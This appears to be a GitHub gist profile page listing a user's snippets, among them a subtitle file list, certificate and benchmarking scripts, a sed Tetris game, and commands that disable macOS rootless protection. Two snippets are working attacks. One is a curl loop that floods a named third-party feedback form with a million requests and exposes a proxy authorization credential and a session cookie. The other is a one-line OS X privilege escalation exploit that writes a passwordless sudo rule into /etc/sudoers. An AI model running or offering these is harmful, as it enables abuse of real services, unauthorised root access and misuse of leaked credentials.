Skip to content

Instantly share code, notes, and snippets.

View Leask's full-sized avatar
🏠
Working from home

Sixia "Leask" Huang Leask

🏠
Working from home
View GitHub Profile
@Leask
Leask / filename.list
Last active August 29, 2015 14:13
Restore the original name of Shotter subtitles.
This file has been truncated, but you can view the full file.
#射手镜像列表
#匹配115礼包 75G 版本
#Powered by 射手网(伪) http://sub.makedie.me/
266260 _________________The_Walking_Dead_S05E08_REPACK_HDTV_x264_KILLERS_chs_eng.rar
266259 e36686269099e147a807e1ece881bbee.rar
266258 _______________.zip
266227 chappie_tlr1_h1080p.zip
266226 Once_Upon_a_Time_in_America_1984_Extended_Bluray_1080p_x264_10bit_DTS_HD_MA5_1_HDTime.zip
266225 1bcd7510cf71831caa374de585db4878.zip
266224 _____________________________________________________.zip
@Leask
Leask / startssl.sh
Last active August 29, 2015 14:13
StartSSL certs configuration script.
cat ssl.crt ssl.key > ssl.pem
# https://forum.startcom.org/viewtopic.php?t=719
# http://www.startssl.com/certs/
wget http://www.startssl.com/certs/sub.class1.server.ca.pem
wget http://www.startssl.com/certs/ca.pem
cat sub.class1.server.ca.pem ca.pem > ca-certs.crt
# fuck http://www.mikecrm.com/f.php?t=t0g4Vh&from=singlemessage&isappinstalled=0 by @leaskh
a=0;
for ((i=0; i<=1000000; i++)); do
((a=$a+1));
echo $a;
curl 'http://www.mikecrm.com/handler/handleAddFormFeedback.php' -H 'Origin: http://www.mikecrm.com' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2' -H 'X-Requested-With: XMLHttpRequest' -H 'Proxy-Authorization: Basic Y29ycHNlYy0zNmtyOmkzaTN6SkZ5' -H 'Cookie: PHPSESSID=qkgshafe6oqglvn12b8mdqtq70' -H 'Proxy-Connection: keep-alive' -H 'Pragma: no-cache' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.12 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'MG-REFERER: {"RF":"NULL"}' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Cache-Control: no-cache' -H 'Referer: http://www.mikecrm.com/f.php?t=t0g4Vh&from=singlemessage&isappinstalled=0' --data 'DATA=%7B%22FORMTOKEN%22%3A%
@Leask
Leask / ranking.sh
Created March 3, 2015 19:54
Ranking script for burlingtonenglish.com connection optimization project.
#!/bin/bash
direct() {
for i in {1..100}; do
curl --compressed --silent http://www.burlingtonenglish.com > /dev/null
echo -n '='
done
}
optimized() {
@Leask
Leask / dic.txt
Last active August 29, 2015 14:19
Research of trust.dat
$¡»Ô¢Ö›®ÏÎ => a
¶ƒ‹Ôš¶ƒ‡¬ª => b
Á©ˆ’É => c
¦¡ÕÓ => d
¨‡¯–°½À § => e
@Leask
Leask / ox_dyld_privilege_escalation.sh
Created July 23, 2015 05:44
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWORD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
@Leask
Leask / disrootless.sh
Last active August 29, 2015 14:26
Disabled rootless.
sudo nvram boot-args="kext-dev-mode=1 rootless 0";sleep 1;sudo reboot
# sudo csrutil disable
@Leask
Leask / rootless.sh
Created August 8, 2015 03:45
Report and change rootless status.
#!/bin/bash
ME=`basename $0`
IS=$(nvram boot-args | awk '{ print $2 }' | grep rootless | cut -d= -f2)
if [ $# -lt 1 ]; then
if [ "$IS" == "1" ]; then
echo "Rootless mode currently active. Use $ME 0 to deactivate."
else
echo "rootless mode currently inactive. Use $ME 1 to activate."
fi
exit
@Leask
Leask / sedtris.sed
Created April 21, 2012 11:53
sed tetris by Julia Jomantaite
#!/usr/bin/sed -nf
# sedtris.sed - sed tetris
# 26th of May, 2008
# Julia Jomantaite <julia.jomantaite@gmail.com>
1{
s/.*/ 2a2a2a2a|3a3a3a3a3a3a3a3a3a3a|2a2a2a2a~/
s/[^~]*~$/&&&/
s/.*/& 2a2a2a2a|0a0a0a0a0a0a0a0a0a0a|2a2a2a2a~/
s/[^~]*~$/&&&&&&&&&&&&&&&&&&&&/
s// 2a2a2a2a|4a4a4a4a4a4a4a4a4a4a|2a2a2a2a~/
@Leask
Leask / delConfdirLoop.sh
Created October 8, 2015 08:48
Handle "confdir-14B---/confdir-14B---" looping problem.
while true
do
mv confdir-14B---/confdir-14B--- a
if [[ $? -ne 0 ]]
then
break
fi
rm -rf confdir-14B---
mv a confdir-14B---
done